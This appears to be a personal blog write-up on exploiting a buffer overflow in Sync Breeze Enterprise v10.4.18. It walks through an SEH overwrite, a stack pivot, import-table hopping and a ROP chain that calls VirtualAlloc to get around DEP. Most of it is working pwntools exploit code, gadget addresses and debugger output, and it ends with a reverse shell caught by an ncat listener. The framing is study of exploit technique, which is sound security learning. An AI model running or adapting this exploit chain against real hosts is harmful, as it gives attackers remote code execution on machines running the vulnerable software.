#
Sync Breeze Enterprise v10.4.18
#
Outline
I'm going to start a series on exploiting a few older Windows applications to get a stronger understanding of how to create more sophisticated exploits using modern techniques. To start with I've chosen Sync Breeze Enterprise v10.4.18
as OJ Reeves did an amazing stream a few years back covering how to exploit this which I highly recommend watching. (link here https://www.youtube.com/watch?v=jta5z4FZagM).
Instead of blindly copying his rop gadget I'm going to create a chain for VirtualAlloc, instead of VirtualProtect. At first I wanted to use a different dll but due to bad bytes that isnt easily doable.
DISCLAIMER: I'm going to make a lot of mistakes, instead of editing them out, I'm just going to document them and correct them later on. This should be treated more as how I approach writing an exploit rather then a precise methodology of how to craft an exploit. With this in mind I will try to explain my reasoning for why I am doing each step. To try to this post from being way to long I'm going to get less verbose as I go along, as most of this will be following similar steps to before.
#
Check Page Permissions
Code to trigger the crash
#!/usr/bin/env python3
import pwn
max_buf = 0x400
body = pwn.util.cyclic.cyclic_metasploit(max_buf)
deref_off = pwn.util.cyclic.cyclic_metasploit_find(0x63413187 - 0x24)
eip_off = pwn.util.cyclic.cyclic_metasploit_find(0x33654132)
body = b'A' * deref_off
body += b'B'* 4
body += b'C' * (eip_off - len(body))
body += b'D' * 4
body += b'E' * (max_buf - len(body))
header = b"\x75\x19\xba\xab"
header += pwn.p32(3)
header += pwn.p32(1)
header += pwn.p32(len(body))*2
header += pwn.p32(body[-1])
packet = header+body
s = pwn.remote('192.168.1.254', 9121)
s.send(packet)
response = s.recv(1024)
s.interactive()
Running the application in windbg and then triggering the crash shows:
(30f8.2de4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for C:\Program Files (x86)\Sync Breeze Enterprise\bin\libpal.dll
eax=42424242 ebx=0331fa0c ecx=0331ff08 edx=0331f9c4 esi=0331ff08 edi=0331fb10
eip=008b2a9d esp=0331f998 ebp=0331feb8 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
libpal!SCA_ConfigObj::Deserialize+0x1d:
008b2a9d ff5024 call dword ptr [eax+24h] ds:002b:42424266=????????
As this is an SEH exploit we should look at the exception handler chain.
0:012> !exchain
0331fe0c: libpal!md5_starts+149fb (0092df5b)
0331ff44: 44444444
Invalid exception stack at 43434343
This shows that the next SEH handler is 0x44444444
or DDDD
which is something we control!
To figure out where to go from here we should check the page permissions of the stack if it is RWX we can do a pop pop ret;
and point the SEH handler to a location on the stack and execute our shell code. If it is not executable (NX / DEP enabled) then we will have to use ROP.
0:012> !address @esp
... snip ...
Usage: Stack
Base Address: 0331e000
End Address: 03320000
Region Size: 00002000 ( 8.000 kB)
State: 00001000 MEM_COMMIT
Protect: 00000004 PAGE_READWRITE
Type: 00020000 MEM_PRIVATE
Content source: 1 (target), length: 1724
#
Stack Pivot
When an expection handler is called, the esp
register shall be decremented by a fair bit from where the top of our payload is. To fix this we need to put a gadget in the SEH address (currently populated with DDDD
) that will add esp <offset>; ret
and return esp back to where our shellcode is.
To find the offset, we need esp when the exception is getting handled and the location of the top of our buffer.
At the time of the exception: 0x02d1f560
and the top of the buffer is at 0x02d1fa10
Meaning we need a jump close to 0x4b0
To find this we can use ropper to generate all the possible rop gadgets.
0x10039f9e: add esp, 0x4e8; ret 0x18;
This is as close as I could I could get. Updating the script as follows the recrashing the application:
stack_pivot = 0x10039f9e #add esp, 0x4e8; ret 0x18;
body = b'A' * deref_off
body += b'B'* 4
body += b'C' * (eip_off - len(body))
#body += b'D' * 4
body += pwn.p32(stack_pivot)
Setting a breakpoint and running the application
0:007> bp 0x10039f9e
0:007> g
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=10039f9e edx=77638fd0 esi=00000000 edi=00000000
eip=10039f9e esp=02cbf560 ebp=02cbf580 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
libspp!SCA_ClsReporter::operator=+0x970e:
10039f9e 81c4e8040000 add esp,4E8h
0:007> t
eax=00000000 ebx=00000000 ecx=10039f9e edx=77638fd0 esi=00000000 edi=00000000
eip=10039fa4 esp=02cbfa48 ebp=02cbf580 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
libspp!SCA_ClsReporter::operator=+0x9714:
10039fa4 c21800 ret 18h
0:007>
eax=00000000 ebx=00000000 ecx=10039f9e edx=77638fd0 esi=00000000 edi=00000000
eip=41414141 esp=02cbfa64 ebp=02cbf580 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
41414141 ?? ???
0:007> dd @esp
02cbfa64 43434343 43434343 43434343 43434343
02cbfa74 43434343 43434343 43434343 43434343
02cbfa84 43434343 43434343 10039f9e 45454545
02cbfa94 45454545 45454545 45454545 45454545
02cbfaa4 45454545 45454545 45454545 45454545
02cbfab4 45454545 45454545 45454545 45454545
02cbfac4 45454545 45454545 45454545 45454545
02cbfad4 45454545 45454545 45454545 45454545
This shows a few things, the first being that we need to include a ropnop at 0x02cbfa48
instead of AAAA
, and that we now control esp
!
Instead of doing a ropnop it would be a good idea to realign the stack. So we need a gadget that will inc esp by 2 + 4N
0x10094a53: add esp, 0xc; ret;
I'm also going to update the script to land esp at BBBB
instead of CCCC
Looking at the stack layout:
41414141 41414141 41414141 41414141
41414141 41414141 41414141 41414141
41414141 41414141 41414141 41414141
41414141 41414141 10094A53 41414141
43434343 43434343 43434343 43434343
43434343 43434343 43434343 43434343
43434343 43434343 43434343 43434343
43434343 43434343 43434343 10039F9E
We are going to need to pivot over 10039F9E
anyways so may as well do it with the stack alignment resulting in a realignment of 0x28
0x10127d80: add esp, 0x20; ret;
off by 0xc
:/
0x10136de0: add esp, 0x2c; ret;
updated code
stack_pivot = 0x10039f9e # add esp, 0x4e8; ret 0x18;
addr_realign = 0x10136de0 # add esp, 0x2c; ret;
rop_start = deref_off - 4
body = b'A' * rop_start
body += pwn.p32(addr_realign)
body += b'B' * (eip_off - len(body))
#body += b'D' * 4
body += pwn.p32(stack_pivot)
body += b'C' * 4
body += b'D' * (max_buf - len(body))
0:007>
eax=00000000 ebx=00000000 ecx=10039f9e edx=77638fd0 esi=00000000 edi=00000000
eip=43434343 esp=02ccfa94 ebp=02ccf580 iopl=0 nv up ei pl nz ac pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000216
43434343 ?? ???
Now we dont need to worry about stack pivoting anymore.
#
Virtual Alloc Stack Frame
As shown before the stack is currently NX so we can use something like VirtualProtect
or VirtualAlloc
to change the page permissions to RWX and execute shellcode on the stack.
To do this we need to create a stack frame for VirtualAlloc and then call a pointer to VirtualAlloc to execute the function. The easiest way to do this is with the pushad; ret;
opcodes. What this will do is push a bunch of registers to the stack:
Push EAX, ECX, EDX, EBX, original ESP, EBP, ESI, and EDI
So if we can get the right values in each register then call pushad
it will create the stack frame.
Looking at MSDN VirtualAlloc
needs these parameters:
LPVOID VirtualAlloc(
[in, optional] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD flAllocationType,
[in] DWORD flProtect
);
For these we can set the following static values:
LPVOID VirtualAlloc(
[in, optional] LPVOID lpAddress,
[in] SIZE_T dwSize, # 0x01 has to be non 0
[in] DWORD flAllocationType, #MEM_COMMIT 0x1000
[in] DWORD flProtect # PAGE_EXECUTE_READWRITE 0x40
);
Following the calling convention we need the registers to be set up as follows:
EAX = NOP (0x90909090)
ECX = flProtect # 0x40
EDX = flAllocationType #0x1000
EBX = dwSize # not 0
ESP = lpAddress # automatic, as this is the stackpointer lol
EBP = pointer to JMP ESP
ESI = pointer to VirtualAlloc
EDI = ROPNOP (RET)
Now the joys of setting this up :D
#
IAT Hopping
For lols
In the stream, OJ did IAT hopping, and it was super cool, so I'm going to do it too.
The basic premise is to get the address of a KERNEL32 pointer from libspp.dll
and then find a offset in KERNEL32 to KERNELBASE!VirtualAlloc
To find a pointer in libspp.dll
we can dump the import address table for libspp.dll:
0:007> lm
start end module name
00400000 00463000 syncbrs C (export symbols) C:\Program Files (x86)\Sync Breeze Enterprise\bin\syncbrs.exe
007d0000 008a4000 libpal C (export symbols) C:\Program Files (x86)\Sync Breeze Enterprise\bin\libpal.dll
008b0000 00965000 libsync (deferred)
10000000 10226000 libspp C (export symbols) C:\Program Files (x86)\Sync Breeze Enterprise\bin\libspp.dll
0:007> !dh 0x10000000
... snip ...
0 DLL characteristics
187F40 [ 4FC8F] address [size] of Export Directory
184B00 [ 8C] address [size] of Import Directory
0 [ 0] address [size] of Resource Directory
0 [ 0] address [size] of Exception Directory
0 [ 0] address [size] of Security Directory
210000 [ 130D0] address [size] of Base Relocation Directory
0 [ 0] address [size] of Debug Directory
0 [ 0] address [size] of Description Directory
0 [ 0] address [size] of Special Directory
0 [ 0] address [size] of Thread Storage Directory
0 [ 0] address [size] of Load Configuration Directory
0 [ 0] address [size] of Bound Import Directory
16A000 [ 614] address [size] of Import Address Table Directory
0 [ 0] address [size] of Delay Import Directory
0 [ 0] address [size] of COR20 Header Directory
0 [ 0] address [size] of Reserved Directory
0:007> dps 0x10000000+0x16A000 0x10000000+0x16A000+614*4
... snip ...
1016a044 773b3850 KERNEL32!WriteFile
1016a048 773b1bd0 KERNEL32!DisableThreadLibraryCallsStub
1016a04c 773b3670 KERNEL32!GetFullPathNameW
1016a050 773ae220 KERNEL32!MultiByteToWideCharStub
1016a0ac 773b3180 KERNEL32!CloseHandle
1016a0b0 773b3760 KERNEL32!ReadFile
Going to use:
1016a0b0 773b3760 KERNEL32!ReadFile
Now to find the offset to KERNELBASE!VirtualProtect
(same method as above but for kernel32 instead of libspp.dll)
77411594 7728b770 KERNELBASE!VirtualAlloc
So we need an offset of 0x77411594 - 0x773b3760 = 0x05DE34
So the chain we need is
pop esi; ret; # 0x1016a0b0 is on the stack
mov esi, dword ptr [esi]; ret;
add esi, 0x05DE34; ret;
mov esi, dword ptr [esi]; ret;
0x10043073: pop esi; ret;
I couldnt find a mov esi, dword ptr [esi]; ret;
but found one for eax
instead, so changing the rop chain to look like this:
0x10064def: pop edi; ret;
0x10040826: ret;
0x100fd644: pop eax; ret;
0x1016a0b0
0x1014fc8c: mov eax, dword ptr [eax]; ret;
0x1005edc5: pop ebp; ret;
0x05de34;
0x100e5194: add eax, ebp; salc; ret;
0x10138850: mov esi, dword ptr [eax]; push eax; call edi;
The above is super close, the only issue is 0x05de34
will be padded to include a null byte. Instead of add eax, ebp
we could do sub eax, ebp
and have ebp
be a negative so it is basically the same.
0x10064def: pop edi; ret;
0x10040826: ret;
0x100fd644: pop eax; ret;
0x1016a0b0
0x1014fc8c: mov eax, dword ptr [eax]; ret;
0x1005edc5: pop ebp; ret;
0x100000000 - 0x05de34;
0x1014e1a8: sub eax, ebp; pop esi; pop ebp; pop ebx; ret;
0x90909090
0x90909090
0x90909090
0x10138850: mov esi, dword ptr [eax]; push eax; call edi;
That should be the final chain!
After adding it to python and re crashing the app. Running this I got one thing wrong, there should be a pop pop ret
in edi not a ret
Giving the final chain of:
0x100fd644: pop eax; ret;
0x1016a0b0
0x1014fc8c: mov eax, dword ptr [eax]; ret;
0x1005edc5: pop ebp; ret;
0x100000000 - 0x05de34;
0x1014e1a8: sub eax, ebp; pop esi; pop ebp; pop ebx; ret;
0x90909090
0x90909090
0x90909090
0x10064def: pop edi; ret;
0x1015a2f0: pop eax; pop ebx; ret;
0x10138850: mov esi, dword ptr [eax]; push eax; call edi;
#
Setting the rest of the registers
#
EAX
0x100fd644: pop eax; ret;
0x90909090
easy
#
EBP
0x100bc9e5: push esp; ret;
It's the same as a jmp esp;
#
EDI
0x10064def: pop edi; ret;
0x10040826: ret;
#
EBX
0x10064def: pop edi; ret;
0x10040826: ret;
0x100430c7: pop ebx; ret;
0xFFFFFFFF
0x101260ab: inc ebx; add al, 0x50; call edi;
0x101260ab: inc ebx; add al, 0x50; call edi;
#
ECX
As we cant just directly pop 0x40 into the register I found a chain that will increment it by 0x10.
0x10041e60: xor ecx, ecx; cmp eax, 1; sete cl; mov eax, ecx; ret;
0x100fd644: pop eax; ret;
0x90909090
0x10157580: add ecx, 0x10; cmp eax, 0x28; jb 0x15757b; xor eax, eax; ret;
0x100fd644: pop eax; ret;
0x90909090
0x10157580: add ecx, 0x10; cmp eax, 0x28; jb 0x15757b; xor eax, eax; ret;
0x100fd644: pop eax; ret;
0x90909090
0x10157580: add ecx, 0x10; cmp eax, 0x28; jb 0x15757b; xor eax, eax; ret;
0x100fd644: pop eax; ret;
0x90909090
0x10157580: add ecx, 0x10; cmp eax, 0x28; jb 0x15757b; xor eax, eax; ret;
#
EDX
This was annoying to set up, but it was easy once I found the mov edx, eax; sar edx, 8;
gadget.
0x10043c28: pop ecx; ret;
0x1020f040 # writeable addr
0x100fd644: pop eax; ret;
0xFFFF0FFF
0x10060ec8: inc eax; ret;
0x10142f9d: mov edx, eax; mov byte ptr [ecx + 5], al; sar edx, 8; mov byte ptr [ecx + 4], dl; ret;
0x10154f1a: sar edx, 8; mov byte ptr [eax], dl; ret;
#
Reorder gadgets
The edx, ecx and esi chains are messy so there is a high chance they will break previously set registers.
ecx breaks: eax
edx breaks: ecx, eax
esi breaks: eax, ebp, edi, esi, ebx
So the order should be:
esi
edx
ecx
# the rest
Giving the final rop chain of:
#ESI = pointer to VirtualAlloc
body += pwn.p32(addr_popeaxret)
body += pwn.p32(addr_iattable)
body += pwn.p32(addr_derefeaxret)
body += pwn.p32(addr_popebpret)
body += pwn.p32(0x100000000 - 0x05de34)
body += pwn.p32(addr_subeaxebp_pppr_ret)
body += pwn.p32(0x90909090)*3
body += pwn.p32(addr_popediret)
body += pwn.p32(addr_ppr)
body += pwn.p32(addr_derefeaxesi_calledi)
#EDX = flAllocationType #0x1000
body += pwn.p32(addr_popecxret)
body += pwn.p32(0x1020f040)
body += pwn.p32(addr_popeaxret)
body += pwn.p32(0xFFFF0FFF)
body += pwn.p32(addr_incecxret)
body += pwn.p32(addr_movedxeax_saredx)
body += pwn.p32(addr_saredx)
#ECX = flProtect # 0x40
body += pwn.p32(addr_xorecx)
for i in range(3):
body += pwn.p32(addr_popeaxret)
body += pwn.p32(0x90909090)
body += pwn.p32(addr_add0x10ecx)
#EAX = NOP (0x90909090)
body += pwn.p32(addr_popeaxret)
body += pwn.p32(0x90909090)
#EBP = pointer to JMP ESP
body += pwn.p32(addr_pushespret)
#EDI = ROPNOP (RET)
body += pwn.p32(addr_popediret)
body += pwn.p32(ropnop)
#EBX = dwSize # not 0
body += pwn.p32(addr_popebpret)
body += pwn.p32(0xFFFFFFFF)
body += pwn.p32(addr_incebx_calledi)
body += pwn.p32(addr_incebx_calledi)
Running this and setting a breakpoint at the end, and it errors.
#
Debugging
So close, the edx sar starting value is off. I think it should be:
body += pwn.p32(0x0FFF4040)
As it will get shifted to 0x00000FFF
then incremented to 0x00001000
Trying again
0:007>
(2924.cfc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0fff4041 ebx=77411594 ecx=1020f040 edx=00000fff esi=7728b770 edi=1015a2f0
eip=10154f1d esp=02d1fadc ebp=90909090 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
libspp!pcre_exec+0x1108d:
10154f1d 8810 mov byte ptr [eax],dl ds:002b:0fff4041=??
0:007>
(2924.cfc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=00000000 edx=77638fd0 esi=00000000 edi=00000000
eip=00000000 esp=02d1f6a8 ebp=02d1f6c8 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
00000000 ?? ???
...
First thing is that it inc needs to come after the sar
#EDX = flAllocationType #0x1000
body += pwn.p32(addr_popecxret)
body += pwn.p32(0x1020f040)
body += pwn.p32(addr_popeaxret)
body += pwn.p32(0x0FFF4040)
body += pwn.p32(addr_movedxeax_saredx)
body += pwn.p32(addr_incecxret)
body += pwn.p32(addr_saredx)
Trying again. Sam exception handler.
Oh the addr_saredx
gadget is wrong. It should be:
0x10142fa2: sar edx, 8; mov byte ptr [ecx + 4], dl; ret;
The inc also needs to be on edx
0x1012bb29: inc edx; mov ax, dx; ret;
This breaks eax, which is fine as we already did that before.
This should be it.
#EDX = flAllocationType #0x1000
body += pwn.p32(addr_popecxret)
body += pwn.p32(0x1020f040)
body += pwn.p32(addr_popeaxret)
body += pwn.p32(0x0FFF4040)
body += pwn.p32(addr_movedxeax_saredx)
body += pwn.p32(addr_saredx)
body += pwn.p32(addr_incedx)
This didnt work, forgot to loop ecx 4 times, and ebp needs to have a pop ebp
at the start. Also going to add a pushad; ret;
and some nops to the end of the payload, as its getting super close.
EBX destroied ECX:
0:007>
eax=909090e0 ebx=77411595 ecx=00000040 edx=00001000 esi=7728b770 edi=10040826
eip=101260b0 esp=02cdfb2c ebp=ffffffff iopl=0 nv up ei ng nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000282
libspp!SPP_ValueTrend::FormatValueString+0x870:
101260b0 8b4b08 mov ecx,dword ptr [ebx+8] ds:002b:7741159d=7077260d
0:007>
eax=909090e0 ebx=77411595 ecx=7077260d edx=00001000 esi=7728b770 edi=10040826
eip=101260b3 esp=02cdfb2c ebp=ffffffff iopl=0 nv up ei ng nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000282
libspp!SPP_ValueTrend::FormatValueString+0x873:
101260b3 51 push ecx
0:007>********
This is weird as the gadget shouldnt do that. The gadget chain was wrong so going to rewrite it:
0x100430c7: pop ebx; ret;
0xFFFFFFFF
0x101260ab: inc ebx; add al, 0x50; call edi;
0x101260ab: inc ebx; add al, 0x50; call edi;
This will break the eax
register as the al
register is the lower 8-bits. Updating the rop chain and trying again.
0:007>
eax=00000050 ebx=00000000 ecx=00000040 edx=00001000 esi=7728b770 edi=10040826
eip=101260ae esp=02c9fb24 ebp=90909090 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
libspp!SPP_ValueTrend::FormatValueString+0x86e:
101260ae ffd7 call edi {libspp!SCA_ClsFinder::SearchFile+0x416 (10040826)}
0:007>
eax=00000050 ebx=00000000 ecx=00000040 edx=00001000 esi=7728b770 edi=10040826
eip=10040826 esp=02c9fb20 ebp=90909090 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
libspp!SCA_ClsFinder::SearchFile+0x416:
10040826 c3 ret
0:007>
eax=00000050 ebx=00000000 ecx=00000040 edx=00001000 esi=7728b770 edi=10040826
eip=101260b0 esp=02c9fb24 ebp=90909090 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
libspp!SPP_ValueTrend::FormatValueString+0x870:
101260b0 8b4b08 mov ecx,dword ptr [ebx+8] ds:002b:00000008=????????
ahhh cause I'm doing a call there needs to be a PPR.
0x100de5ef: pop eax; pop edi; ret 0xc;
The ret 0xc
is going to be annoying.
I think this is right:
#EBX = dwSize # not 0
body += pwn.p32(addr_popebxret)
body += pwn.p32(0xFFFFFFFF)
for i in range(2):
body += pwn.p32(addr_popediret)
body += pwn.p32(addr_ppr0xc)
body += pwn.p32(addr_incebx_calledi)
body += pwn.p32(0x90909090)
#EDI = ROPNOP (RET)
body += pwn.p32(addr_popediret)
body += pwn.p32(ropnop)
It should be 1 as its 3 for the 0xc and 8 are taken by the PPR.
So turns out a lot was wrong. I single stepped and changed a few things, it now looks like this:
#EBX = dwSize # not 0
#EDI = ROPNOP (RET)
body += pwn.p32(addr_popebxret)
body += pwn.p32(0xFFFFFFFF)
body += pwn.p32(addr_popediret)
body += pwn.p32(addr_ppr0xc)
body += pwn.p32(addr_incebx_calledi)
body += b'A'*4
body += pwn.p32(addr_popediret)
body += pwn.p32(0x90909090)*3
body += pwn.p32(addr_ppr0xc)
body += pwn.p32(addr_incebx_calledi)
body += pwn.p32(ropnop)
#EAX = NOP (0x90909090)
body += pwn.p32(addr_popeaxret)
body += pwn.p32(0x90909090)*3
body += pwn.p32(0x90909090)
And this works!!!
0:007>
eax=02cbf000 ebx=00000001 ecx=97640000 edx=02cbf000 esi=7728b770 edi=10040826
eip=02cbfb62 esp=02cbfb60 ebp=100bc9e5 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
02cbfb62 90 nop
0:007> !@esp
@esp is not extension gallery command
No export @esp found
0:007> !address @esp
Mapping file section regions...
Mapping module regions...
Mapping PEB regions...
Mapping TEB and stack regions...
Mapping heap regions...
Mapping page heap regions...
Mapping other regions...
Mapping stack trace database regions...
Mapping activation context regions...
Usage: Stack
Base Address: 02cbf000
End Address: 02cc0000
Region Size: 00001000 ( 4.000 kB)
State: 00001000 MEM_COMMIT
Protect: 00000040 PAGE_EXECUTE_READWRITE
Type: 00020000 MEM_PRIVATE
Allocation Base: 02bc0000
Allocation Protect: 00000004 PAGE_READWRITE
More info: ~7k
Content source: 1 (target), length: 4a0
Which means shell time!
ncat -vlnp 9001
Ncat: Version 7.95 ( https://nmap.org/ncat )
Ncat: Listening on [::]:9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 192.168.1.254:55191.
Microsoft Windows [Version 10.0.19045.4957]
(c) Microsoft Corporation. All rights reserved.
C:\Program Files (x86)\Sync Breeze Enterprise\bin>
SHELL!!
#
Fin
That derailed kinda quickly, towards the end I left out most of the debugging issues, as it was just me doing dumb stuff and not mathing right.
Surely there are better ways to optimise this and maybe use better gadgets, so I might revisit this later.
Full script is on github: https://github.com/ElJayRight/pocscripts/blob/main/sploit.py